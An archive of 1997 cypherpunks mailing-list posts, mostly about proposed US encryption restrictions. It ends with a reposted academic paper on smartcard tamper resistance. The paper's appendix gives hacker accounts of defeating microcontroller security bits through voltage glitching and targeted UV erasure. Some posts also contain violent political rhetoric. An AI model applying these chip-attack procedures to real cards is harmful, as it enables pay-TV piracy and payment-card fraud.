From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Fri, 12 Sep 1997 12:43:24 +0800
To: cypherpunks@toad.com
Subject: MITSUBISHI MISTY algorithm
Message-ID: <19970912043041.25998.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anybody know MITSUBISHI MISTY algorithm ?
If you know it,Please send e-mail to me.


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 12:40:16 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Court proceedings under new SAFE act
In-Reply-To: <3.0.2.32.19970911212546.0069c654@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970911213233.23060A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Yep, they get an automatic TRO. Amazing, huh, what National Security
arguments can do?

Not sure if we can find out much about the FISA court. Very clandestine. 
WashPostMag ran something a few months ago. I'm copying this to David, who
probably knows more about it than anyone else I know. 

-Declan


On Thu, 11 Sep 1997, Lucky Green wrote:

> At 06:12 PM 9/11/97 -0700, Declan McCullagh wrote:
> >I'm reading the bill more closely. This is incredibly slick work.
> >
> >1. When it appears that any person is selling, importing, or distributing
> >non-backdoor'd crypto or "about" to do so, the Atty General can sue to
> >stop them. "Upon the filing of the complaint seeking injunctive relief by
> >the Attorney General, the court shall automatically issue a temporary
> >restraining order against the party being sued." 
> 
> They get an *automatic* TRO?
> 
> [...]
> >More interestingly, this gives courts including the FISA court (yes, the
> >secret court that has never denied a request for a wiretap) jurisdiction;
> >they can issue ex parte orders giving police access to plaintext. Also
> >lets U.S. government coordinate with other governments in doing such.
> 
> Is there any way of finding out the names of the judges sitting on the FISA
> court?
> 
> 
> --Lucky Green <shamrock@netcom.com>
>   PGP encrypted mail preferred.
>   DES is dead! Please join in breaking RC5-56.
>   http://rc5.distributed.net/
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 12 Sep 1997 12:43:45 +0800
To: cypherpunks@Algebra.COM
Subject: Any talk of limiting _existing_ crypto?
Message-ID: <v03102809b03e747663d3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




OK, so the imminent legislation will ban sale or distribution unescrowed
crypto products after 1999 or 2000 or whatever. Exact details unclear. But
I see no language declaring existing products to be contraband. (Though
such language could still come, of course...nothing would surprised me at
this point.)

So, what about Alice and Bob using PGP 5.0 or Explorer with S-MIME, or
whatever. Plenty of crypto already out there. They can drop their encrypted
text into whatever mail program or browser they're using.

If existing crypto is fully legal to use, then it could be years and years
before the Freeh-Reno-SAFE outlawing has any significant effect.

Is there any reasonable interpretation of any of the SAFE or Pro-CODE bills
that could make it illegal to use preexisting crypto programs (before the
ban)? Any way they could make it illegal to use PGP or Lotus Notes or
whatever in conjunction with a mailer or browser?


If not, then our strategy should be to get the simpler, text-centric,
crypto programs massively and widely deployed. Spend the year or so we have
before D-Day getting crypto onto every CD-ROM being distributed, every
public domain site, etc.

(An old strategy, and one great progress has been made on. But now we have
to really go into high gear, to _really_ get crypto widely deployed.)

Integration with mailers and browsers may not even be such a good idea, as
the evolution of such products will cause obsolescence. Better, perhaps, to
leave the crypto at the "text edit" level, the ASCII level, where it can be
dropped in cleanly to whatever program is current. (Also an old strategy,
one with many advantages.)

The war criminals in Washington will have a real hard time rounding up the
crypto deployed between now and D-Day.

Fucking criminals. Fight the _real_ criminals. Nuke em til they glow.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 12:55:39 +0800
To: Syniker@aol.com
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <970911215147_-632361482@emout03.mail.aol.com>
Message-ID: <Pine.GSO.3.95.970911214229.23060C-100000@well.com>
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Content-Type: text/plain



Your general idea is right-on. If lots of folks use crypto, it'll be
politically more difficult for the government to ban it. But do many
browser users even //know// they're using an encrypted channel? Probably
not. This is an education issue as well as a deployment issue.

-Declan


On Thu, 11 Sep 1997 Syniker@aol.com wrote:

> I still maintain... they can diddle one another all they want
> in washington... if ENOUGH people use crypto everyday...
> there's bascially not a damned thing they can do about it...
> If it becomes 'fashionable' to use it -- whatever it takes...
> the sheer numbers will work...
> Why not a 'crypto' YES WWW thing like our blackout pages???
> If enough people put those perl lines on their hompage...
> there you are -- instant mass 'export'.... boom...
> 
> Larry.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 12:59:38 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: More on House Intelligence committee amendment on crypto
In-Reply-To: <199709120224.WAA09072@users.invweb.net>
Message-ID: <Pine.GSO.3.95.970911214453.23060D-100000@well.com>
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William,

There was a vote in Nat Sec earlier this week. That was fortyfive-one, I
recall, to gut SAFE. I think Smith voted against it. Today's vote was in
the supersecret Intelligence committee, which met behind closed doors this
morning and approved the domestic restrictions.

-Declan


> Is there any way you can get me a copy of the amendment? My congressman is
> on that committie and I intend to raise a stink down here on this.
> 
> Copies of the transcripts from the meeting and voting recored would be
> helpfull.
> 
> I understand that 1 congresscritter voted against the amendment, do you
> know which one it was? I would like to make sure it wasn't Joe
> Scarborough.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Fri, 12 Sep 1997 10:10:53 +0800
To: wathab@tiac.net
Subject: Re: The problem of playing politics with our constitutional rights
Message-ID: <970911215147_-632361482@emout03.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



I still maintain... they can diddle one another all they want
in washington... if ENOUGH people use crypto everyday...
there's bascially not a damned thing they can do about it...
If it becomes 'fashionable' to use it -- whatever it takes...
the sheer numbers will work...
Why not a 'crypto' YES WWW thing like our blackout pages???
If enough people put those perl lines on their hompage...
there you are -- instant mass 'export'.... boom...

Larry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 13:09:13 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: More on House Intelligence committee amendment on crypto
In-Reply-To: <3.0.2.32.19970911210020.0070ba78@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970911215117.23060E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



The new SAFE bill retains the five-ten provisions. Remember how the crypto
in a crime provision was narrowed in (I recall) the Judiciary committee?
It's not that narrow anymore; it's been broadened and is much more
encompassing. Small surprise.

-Declan


On Thu, 11 Sep 1997, Lucky Green wrote:

> At 03:38 PM 9/11/97 -0700, Declan McCullagh wrote:
> >So I'm reading through the 43-page amendment to SAFE that the House
> >Intelligence committee approved today. It includes: 
> >
> >* Ban on sale of crypto without a backdoor. Five year & fine (maybe
> >$250,000?) if violated. Prosecutions can be held in closed-door
> >courtrooms, publishers of info about case to be held in contempt of court.
> 
> Does the bill retain the 5 years first offense, 10 years second offense
> provisions for using crypto in the comission of a crime?
> 
> Let's see: Lucky sells five copies of PGP. That's 5+(5+4*10)=50 years in
> prison. Or is it (5*5)+(5+4*10)=70 years? Doesn't make much of a difference
> at my age, I suppose.
> 
> 
> --Lucky Green <shamrock@netcom.com>
>   PGP encrypted mail preferred.
>   DES is dead! Please join in breaking RC5-56.
>   http://rc5.distributed.net/
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David H Dennis <david@amazing.com>
Date: Fri, 12 Sep 1997 13:18:03 +0800
To: declan@well.com (Declan McCullagh)
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <Pine.GSO.3.95.970911214229.23060C-100000@well.com>
Message-ID: <199709120505.WAA08152@remarkable.amazing.com>
MIME-Version: 1.0
Content-Type: text/plain



> Your general idea is right-on. If lots of folks use crypto, it'll be
> politically more difficult for the government to ban it. But do many
> browser users even //know// they're using an encrypted channel? Probably
> not. This is an education issue as well as a deployment issue.

I must admit that I didn't think much about crypto until this came up.

You know, I think there are a couple of types of Libertarians. 

Type one says that government doesn't do anything right, because
collectively they are incompetent, in the same way many people in big
companies make bad decisions.  Government is like the biggest company
in the nation, with no profit pressure to restrain bureaucracy.  In
addition, government is a way to try and reconcile opposing views, and
so we rarely get a "pure" version of anything - in fact, we often get
contradictory results, such as tobacco subsidies colliding with
tobacco restrictions.  Because of this, smaller government is better -
solve the tobacco problem by enacting /neither/ subsidies nor
restrictions, and save a whole pile of money and effort.

Type two says that government doesn't do anything right because of
actual malicious actions within government - that government is
a conspiracy between fat cat businessmen and nasty spooks, and
that they very often, quite deliberately do the wrong thing.

I've traditionally been a Type One libertarian, but I think you can
only explain the current crypto efforts with Type Two.

I must confess that I'm wondering what Seth Finkelstein, Pro-Government
Warrior, able to jump over 50 Libertarians in a single bound, thinks of
all this.  Crypto restrictions are natural to oppose in a Libertarian
world, due to our fundemental distrust of government.  Where do they
fit in a Liberal one?

D





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James S. Tyre" <j.s.tyre@worldnet.att.net>
Date: Fri, 12 Sep 1997 13:22:45 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <Pine.GSO.3.95.970911214229.23060C-100000@well.com>
Message-ID: <3418CDA3.2300@worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



Nice idea Declan, but what's "lots of folks"?  Rhetorical question --
what percentage of the populace in the U.S. is even on the net?  Another
one -- of those, what percentage even know what PGP is?

On one list I'm on, people whine all too often how difficult PGP is; on
another, most probably would think PGP is a drug.  Hmmm ....

Of course education of less well-versed net users is important.  But if
we're talking the Now instead of the Future, education of those not even
on the net may be more important.

So, the last rhetorical question -- how do you convince someone who's
never used a browser (the vast majority of the voting populace, I'd
think) why crypto is important?

-Jim

Declan McCullagh wrote:
> 
> Your general idea is right-on. If lots of folks use crypto, it'll be
> politically more difficult for the government to ban it. But do many
> browser users even //know// they're using an encrypted channel? Probably
> not. This is an education issue as well as a deployment issue.
> 
> -Declan
> 
> On Thu, 11 Sep 1997 Syniker@aol.com wrote:
> 
> > I still maintain... they can diddle one another all they want
> > in washington... if ENOUGH people use crypto everyday...
> > there's bascially not a damned thing they can do about it...
> > If it becomes 'fashionable' to use it -- whatever it takes...
> > the sheer numbers will work...
> > Why not a 'crypto' YES WWW thing like our blackout pages???
> > If enough people put those perl lines on their hompage...
> > there you are -- instant mass 'export'.... boom...
> >
> > Larry.
> >
> >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 12 Sep 1997 13:22:45 +0800
To: "Nobuki Nakatuji" <cypherpunks@toad.com
Subject: Re: MITSUBISHI MISTY algorithm
In-Reply-To: <19970912043041.25998.qmail@hotmail.com>
Message-ID: <v0310280db03e7e07a349@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:30 PM -0700 9/11/97, Nobuki Nakatuji wrote:
>Does anybody know MITSUBISHI MISTY algorithm ?
>If you know it,Please send e-mail to me.
>

You want me play Misty for you? You send me $2500, I play Misty.

Like you do, I take much money, chop chop.


(Now shut the fuck up and get the hell off our list with your demands for
money to explain your bullshit one time pad scheme.)


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 13:24:18 +0800
To: David H Dennis <david@amazing.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <199709120505.WAA08152@remarkable.amazing.com>
Message-ID: <Pine.GSO.3.95.970911220600.23060G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Libertarianism is the only coherent ideology when it comes to the
Internet. I'm told there may be a piece appearing shortly on HotWired
arguing just this. At the Libertarian Party convention last summer, a
bunch of cypherpunks including some on f-c showed up and made the platform
even more pro-crypto and anti-GAK. I wrote about this for HotWired then. 

But to defend modern liberals for a moment (I'm a recovering one. Yes, it
takes a long time.), groups like EPIC and the ACLU are generally
liberal-ish and they're quite good on encryption. 

Of course, the Democrats in Congress are some of the biggest anti-crypto
folks around. 

-Declan


On Thu, 11 Sep 1997, David H Dennis wrote:
> I must confess that I'm wondering what Seth Finkelstein, Pro-Government
> Warrior, able to jump over 50 Libertarians in a single bound, thinks of
> all this.  Crypto restrictions are natural to oppose in a Libertarian
> world, due to our fundemental distrust of government.  Where do they
> fit in a Liberal one?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 13:27:47 +0800
To: "James S. Tyre" <j.s.tyre@worldnet.att.net>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <3418CDA3.2300@worldnet.att.net>
Message-ID: <Pine.GSO.3.95.970911221143.23060H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 11 Sep 1997, James S. Tyre wrote:

> So, the last rhetorical question -- how do you convince someone who's
> never used a browser (the vast majority of the voting populace, I'd
> think) why crypto is important?

You can make general pro-privacy arguments about wiretapping, which is
what I did in my Netly column yesterday. Or you can describe crypto in
detail, which is what I did in my February 1997 Internet Underground
feature. 

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 12 Sep 1997 11:17:42 +0800
To: cypherpunks@cyberpass.net
Subject: TAMPERPROOFING OF CHIP CARDS
Message-ID: <199709120311.XAA10259@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


The below message was posted to one of my mailing lists and I thought it
amy be of intrest here.



I found this in our database.  I've never seen it before.
I found it pretty interesting, despite being somewhat old.
Truncation in original.

                *       *       *       *       * 

                   TAMPERPROOFING OF CHIP CARDS

                         Ross J. Anderson
             Cambridge University Computer Laboratory
                Pembroke Street, Cambridge CB2 3QG
                Email: ross.anderson@cl.cam.ac.uk

                             Abstract

There are two ways of attacking smartcards - destructive reverse 
engineering of the silicon circuit (including the contents of  ROM), and
discovering the memory contents by other means; a well  equipped
laboratory can do both. Persistent amateurs have often  managed the
latter, and may shortly be able to do the former as  well. 

1 Reverse engineering the chip

A recent article[1] gives a good introduction to how reverse  engineering
can be carried out in a moderately well equipped  academic
microelectronics laboratory (there are three such in the  UK, and perhaps
two hundred academic or industrial facilities  worldwide which can carry
out such work). We will start off by  summarising it and giving some
background. 

1.1 How attacks are done

The authors of the article cited above worked at the Cambridge  University
microelectronics lab, which is part of the department  of physics. They
got interested in reverse engineering chips five  years ago to help an
industrial client locate manufacturing  defects. 

They built an apparatus which consists of a slightly modified  electron
beam lithography machine (this functions in effect as an  electron
microscope) and a PC with an image processing system (a  DCT chip and
locally written software). They then developed  techniques for etching
away a layer at a time without doing too  much damage. Conventional wet
etching causes too much havoc with  half micron chips, so dry etching is
used in which gases such as  CF4 or HF strip off layers of silica and
aluminium in turn. 

One of their innovations is a technique to show up N and P doped  layers
in electron micrographs. This uses the Schottky effect: a  thin film of a
metal such as gold or palladium is deposited on  the chip creating a diode
effect which can be seen with the 
electron beam. 

Finally, image processing software has been developed to spot the  common
chip features and reduce the initially fuzzy image of the  metal tracks
into a clean polygon representation. There are also  routines to get
images of successive layers, and of adjacent  parts of the chip, in
register. 

The system has been tested by reverse engineering the Intel 80386  and a
number of other devices. The 80386 took two weeks; it takes  about six
instances of a given chip to get it right. The output  can take the form
of a mask diagram, a circuit diagram or even a  list of the library cells
from which the chip was constructed. 

This is typical of the kind of attack which an academic lab can  mount.
Even more sophisticated attacks, invented at Sandia  National laboratories
and recently published[2], involve looking  through the chip.
Light-Induced Voltage Alteration is a non-
destructive technique that involves probing operating ICs from  the back
side with an infrared laser to which the silicon 
substrate is transparent. The photocurrents thus created allow  probing of
the device's operation and identification of logic  states of individual
transistors. Low-Energy Charge Induced  Voltage Alteration relies on a
surface interaction phenomenon  that produces a negative
charge-polarization wave using a low-
energy electron beam generated by a scanning electron microscope.  This
allows imaging the chip to identify open conductors and  voltage levels
without damage, although it does not operate  through metalization layers.


Of course, even more sophisticated techniques may be available in 
classified government facilities. 

1.2 The threat to smartcard systems

Smartcards typically have a few kilobytes of ROM, which being  metal can
be read with the above techniques; a few hundred bytes  of RAM, which
being cleared between transactions stores no long  term secrets; and a few
kilobytes of EEPROM, which typically  holds the user data and key
material. 

The techniques described above are not directly relevant to 
reading out EEPROM. However any laboratory at the level under 
consideration would be able to determine EEPROM contents using  microprobe
techniques. More simply, a reverse engineering 
operation would pinpoint the physical location of the write 
protect bit, which could then be reset using ultraviolet light. 

As mentioned, the number of organisations worldwide which can do  electron
beam lithography is of the order of 100-200. These 
potential attackers include a number of universities, all the big  chip
makers and the governments of the USA, Canada, the UK and  China. Of
these, the US and Chinese governments appear to have  the greatest
experience at chip breaking. 

For a respectable firm to join this club costs about $2m - $1.5m  for the
electron beam lithographer and ancilliary equipment, plus  a year's salary
for about five professionals to get it all going  (typically a physicist
to deal with the ion beams, a chemist to  deal with packaging, two
computer people to write software, and a  chip person to run the whole
operation). 

The number of club members may rise as more and more firms, 
especially in the Far East, start producing ASICs. However it is  not
likely that electron beam lithography will ever become a  really
widespread technology. The total number of sites with the  capability to
do regular hi-tech attacks might rise to about 1000  at most. 

An outsider without $2m still has a number of options. For ex-
ample, there are three universities in the UK alone which possess  the
necessary equipment (Cambridge, Edinburgh and Southampton)  and an
attacker might enrol for a PhD or other degree in order to  acquire access
and training. It is also possible to use more  primitive equipment at the
cost of spending months rather than  weeks on each reconstruction; this is
apparently the approach of  the Chinese government, and could be viable
where workers are  paid little (or are expecting a share of large criminal
profits). 

Finally, there are apparently places in the Far East, and at  least one in
Silicon Valley, which reverse engineer chips for  cash. How much cash, and
how many questions would be asked, are  not known to this writer. 

1.3 Possible defences

A number of copy trap features are incorporated into commercial  chip
designs. For example, we have heard of design elements that  look like a
transistor, but are in reality only a connection  between gate and source;
and 3-input NORs which function only as  2-input NORs. 

Many of these copier traps are based on holes in isolating layers  or on
tricks done in the diffusion layer with ion implantation  (based on the
assumption that it is hard to distinguish N from  P). However the layer
etching and Schottky techniques developed  by Haroun Ahmed's team can
detect such traps. 

Another possibility is to introduce complexity into the chip  layout and
to use nonstandard cell libraries. However the chip  still has to work,
which limits the complexity; and nonstandard  cells can be reconstructed
at the gate level and incorporated in  the recognition software. 

Finally, in the Clipper chip there are a number of silicon 
features, of which the most important is a fusible link system.  These
links are only fused after fabrication and hold the long  term key and
other secret aspects of the chip. Details can of  course be found in a
paper in the relevant data book[3], and from  the scanning electron
micrographs there, it is clear that the  secret information can be
recovered by sectioning the chip. This  technique has been used by
Professor Ahmed's team on occasion on  obscure features in other chips. 

Thus the effect of current silicon level copy traps is just to  slow down
the attacker. In fact, we have heard from a usually  reliable source that
Intel has reverse engineered the Clipper  chip, but that the results have
been classified. 

The same appears to be the case for chemical measures. Chips  intended for
classified military use are often protected by 
passivation layers of a tenacity never encountered in civilian 
packaging[4]. But here again, informed sources agree that with  enough
effort, techniques can be developed to remove them. 

1.4 Relevance to smartcard products

We understand that neither silicon copy traps not advanced 
passivation techniques are used by smartcard manufacturers in the  bulk of
their products. The marketing director of a smartcard  manufacturer said
that they simply had no demand from their users  for anything really
sophisticated[5]. The most that appears to be  done is an optical sensor
under an opaque coating[6]. 

Hi-tech techniques may indeed have been used by commercial 
pirates to duplicate satellite TV smartcards[7]. 

Recent postings to a TV hackers' mailing list recount how an 
undergraduate used nitric acid and acetone to remove ICs intact  from
Sky-TV smartcards; he then put them in the University's  electron beam
tester (an ICT 8020, also sold as the Advantest E  1340 - a 1991 machine).
The chips were run in a test loop, but he  had been unable to remove the
silicon nitride passivation layer;  the many secondary electrons removed
from this caused it to get  charged positive very quickly, which obscured
the underlying  circuit. He did not have access to a dry etching facility
to  remove this layer, and could get no further. However it is 
significant that a person with no funding or specialist knowledge  could
get even this far. 

However, amateur hackers have managed to break smartcard security  without
having to penetrate the device physically. Instead, they  have used flaws
in the design of the card's hardware or software  to determine its
contents. 

2 Determining the EEPROM contents

Many methods have been employed to determine the EEPROM contents  of
smartcards. In addition to the very general reverse  engineering
techniques described above, there are a lot of  shortcut attacks on
particular designs. 

2.1 How attacks are done

The following list is not exhaustive: 

o   raising the supply voltage above its design limit; 

o   cutting the supply voltage below its design limit; 

o   resetting random memory locations using ultraviolet light 
    until the read protect bit is found; 

o   exploiting misfeatures in the hardware, including the 
    manufacturer supplied ROM code; 

o   exploiting misfeatures in the customer written EEPROM code 
    (current attacks on UK satellite TV systems take this route); 

o   some combination of the above. 

The appendix contains accounts from a hacker mailing list of two  actual
attacks carried out on chips. 

2.2 Threat assessment

All systems have bugs, and so the level of threat to smartcard  systems
presented by exploitable loopholes is a function of how  many bugs remain
(i.e. how mature the design is) and how much  effort is spent in looking
for them (i.e. how many motivated  attackers there are). This in turn
depends on the application  area. 

Satellite TV systems attracted a great many attackers for 
historical reasons; in the USA, many rural households had got  into the
habit of watching satellite TV feeds as there were no  terrestrial
stations in range, even although these feeds were  intended for
rebroadcast rather than direct consumption. When the  feeds were
encrypted, the families who depended on them for their  news and
entertainment - and often could not buy decoders through  any legal
channel - were outraged. 

In Europe, a similar problem arose when the final season of 'Star  Trek:
The Next Generation' was encrypted. This program's fans  included many
with appropriate skills, and soon (March 94) there  appeared a program
called Season which decoded Sky TV. 

Since then, there has been a battle of wits between Sky and the  Trekkies,
which has probably cost Sky somewhere between $10 
million and $100 million. On May 18th 1994, Sky changed from  issue 07
cards to their new issue 09 card. Hackers refer to May  18th as Dark
Wednesday. The 09 card proved harder to hack but a  temporary solution
appeared in June. It only lasted a few weeks  before Sky changed codes
again. Though some attempts at an issue  09 Season were made, a code
change by Sky stopped it until just  before Christmas. 

Then no less than three new versions of Season appeared - two for  the PC
and one for the MAC. Successive code changes on January  4th and January
25th led to further updates of Season, and by  about 8th March all the
secrets in the Sky 09 card were known -  and published! Hackers are
awaiting the release of series 10 Sky  cards with relish. 

In addition to the attacks on satellite TV, there have been a  number of
attacks on banking systems and prepayment electricity  meter systems which
are documented in three of my recent papers  [8, 9, 10] Most of the
attacks documented there resulted from  similarly opportunistic
exploitation of design and operational  errors, and some of the target
systems were based on smartcards. 

Finally, some concern has been expressed that attack skills may  be
transferable. For example, a banking industry security expert  is worried
that the satellite TV hacking community might next  turn its attention to
eftpos systems. 

2.3 Possible defences

The main conclusion to be drawn from the above is probably that  just as
we do not know how to make a device which resists 
tampering by a funded organisation, we do not know how to build a  device
of any complexity to resist logical as opposed to physical  tampering. 

There are a number of other lessons. For example, companies which  rely on
smartcard systems should if possible avoid making a lot  of enemies.
Diversity of attack has been significant in pay-TV,  metering and banking
systems and just as a funded organisation  can break the silicon directly,
so one must expect that many  tinkering amateurs will eventually find a
flaw in any piece of  software. It is well known in the software testing
community that  a significant number of bugs come to light when a piece of

software is passed on to another tester or to a customer; this is  because
different testers and/or users exercise different parts  of the input
space[11]. 

It is also imprudent to start off with weak security and then  improve it
gradually in response to attacks. The satellite TV  people did this, and
trained up a community of hackers. At some  point, you must invest enough
to put clear water between your  systems and your opponents, and the
sooner you make this  investment the smaller it is likely to be. 

The main investment should be in getting the overall design 
right, or at least as right as one can, from the beginning. It is  unwise
to spend a lot of money on tamperproofing while ignoring  the much simpler
and dirtier attacks which exploit errors in  design and operation. Quality
control, and examination by 
multiple independent experts, should take priority over attempts  to mimic
the passivation techniques used by the military. 

After all, the three published attacks on Clipper all involve the  logical
design (key management protocols and modes of operation)  rather than
penetration of the device itself. 

3 Conclusion

At present, there are no portable tamperproof devices. If secrets  are
held on smartcards which are allowed outside protected  spaces, then both
physical and logical attacks should be 
expected. 

The scale of such attacks will depend on many things. If there is  a
capable motivated opponent, such as a chip maker or the  government of a
NATO country or China, then it must be assumed  that a complete
penetration will take at most weeks. If there are  many less capable but
still motivated opponents, then 
penetrations based on the opportunistic exploitation of design  flaws are
to be expected in due course. 

We conclude that systems based on portable tamper-resistant 
devices should be designed with caution. They should avoid 
motivating a determined attack on the cards, and the penetration  of a
small number of cards should not be fatal to the system  owner. 

These considerations interact; for example, if the scope of 
secrets kept within the card is limited so that breaking a card  allows
access to only one bank account, then it is unlikely that  an attack would
be economic to an attacker or prove more than a  minor nuisance to the
card issuer. 


                             APPENDIX

First account

This short essay will show you how to read the EPROM of an 
AMD87C51, with all security programmed. 

.... the SM-card I had was programmed with both Lock bits and it  was
impossible to read out the IROM. 

But the data sheet also tells: 
    To ensure proper functionality of the chip, the internally 
    latched value of the EA pin must agree with its external 
    state. 

Perhaps it was possible to confuse the processor. 

I build a small device with external EPROM (64KBytes) and RAM.  The EPROM
was coded with a monitor program in the upper address  range which gives
me the possibility to load and execute code by  control of a PC. Starting
the processor with external ROM access  disables the access of the
internal ROM and due to the latching  of the EA pin during RESET, changes
at the EA pin had no effect.  Also the MOVC returns only external ROM
values. 

Know my idea was to start the processor with internal ROM and  then to
confuse him so that he accesses the external EPROM and  run into the
monitor program. 

I tried ...

But reduction of the power supply voltage works. At about 1,5  Volt the
processor starts to access the external ROM. Rising the  voltage back to 5
Volt the processor (most of the times) still  run external, but with the
possibility of access to the internal  ROM... 

I programmed a small routine, which calls an address within the  internal
ROM and execute this. I started at the higher end of the  internal ROM and
decreased the calling address with each try by  10h. Most of the time the
processor hangs up. But at some 
addresses I got a return to the monitor program. So I analysed  this
addresses and prepared the registers in a way to verify that  the routine
could read ROM data. And I found the routine which  did this. So the
internal ROM code reads itself and returns  himself to the monitor program
for storage. It took about 3 days  to go through the ROM and find the
routine and one long week to  understand the code. 

Second account

This short story shows how to get access to a secured 87C51 
microcontroller. It's a different way, than the one described by  .....
Referring to his article, I assume, that this 87C51  microcontrollers and
their features (including security bits) are  known. 

The idea was, that the security bits are not located near the  EPROM array
on the silicon. After some tests in erasing standard  EPROMS, I had the
right tools to try it on a real device: With a  mask designed from black,
thick paper with a small hole in it, I  started to lighten the silicon on
the outer edges and sides.  Moving the mask carefully and checking the
security bits (by  reading the device in a microcontroller programmer)
after each  try is a long job. I did additional tests to open the chip (by
 removing the windows or dividing the ceramic carrier material).  But this
always led to permanent damage to the chip (broken 
silicon, destroyed wires between pads and pins), so I gave this  up. So
after 4 destroyed chips the fifth was the right one. You  have to be sure,
that your mask is good prepared and the erasing  light doesn't diffuse
across the chip. No I'am able to erase such  a device in less than 10
minutes. But ... it's only easy if the  device is one of AMD or Philips.
The Intel devices have a window,  which is formed like a lens (the silicon
looks very big). On this  devices it's nearly impossible to lighten a
specific part of the  silicon. The job is easier on devices with standard
window and a  _big_ EPROM Array (seems to be devices aged two or more
years). 


                                         . . . if somebody is  interested
in the 4K codes of the MasterCard (bad and dirty code)  or MovieCard (very
elegant algorithm and i/o implementation),  just gimme' a direct mail.
Disassembled and commented listings in  WinWord format are also available
(comments in mixed English and  German language). 


                            REFERENCES

[1]  'Layout Reconstruction of Complex Silicon Chips', S Blythe, B 
     Fraboni, S Lall, H Ahmed, U de Riu, IEEE J. of Solid-State 
     Circuits v 28 no 2 (Feb 93) pp 138-145 

[2]  'Two New Imaging Techniques Promise To Improve IC Defect 
     Identification', C Ajluni, Electronic Design Vol 43 No 14 (10 
     July 1995) pp 37-38 

[3]  'Conducting Filament of the Programmed Metal Electrode 
     Amorphous Silicon Antifuse', KE Gordon, RJ Wong, 
     International Electron Devices Meeting, Dec 93; reprinted as 
     pp 6-3 to 6-10, QuickLogic Data Book, 1994 

[4]  see FIPS PUB 140-1 section 4 level 4: &quot;Removal of the coating 
     shall have a high probability of resulting in serious damage 
     to the module&quot; 

[5]  Philippe Maes, GemPlus, during a panel discussion at Cardis 
     94 

[6]  message &lt;CovCG9.581@apollo.hp.com&gt; posted by Anne Anderson of 
     Hewlett-Packard aha@apollo.HP.COM to sci.crypt 26 Apr 1994 

[7]  apparently tiny jets of hot acid have been used to remove the 
     passivation layers over parts of the chip at a time 

[8]  'Why Cryptosystems Fail'

[9]  'Liability and Computer Security - Nine Principles'

[10] 'Cryptographic Credit Control in Pre-payment Metering 
     Systems' All these can be got from 
     http://www.cl.cam.ac.uk:/users/rja14/

[11] 'Thermodynamic description of the defects in large 
     information processing systems', RM Brady, RC Ball, RJ 
     Anderson, to appear


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

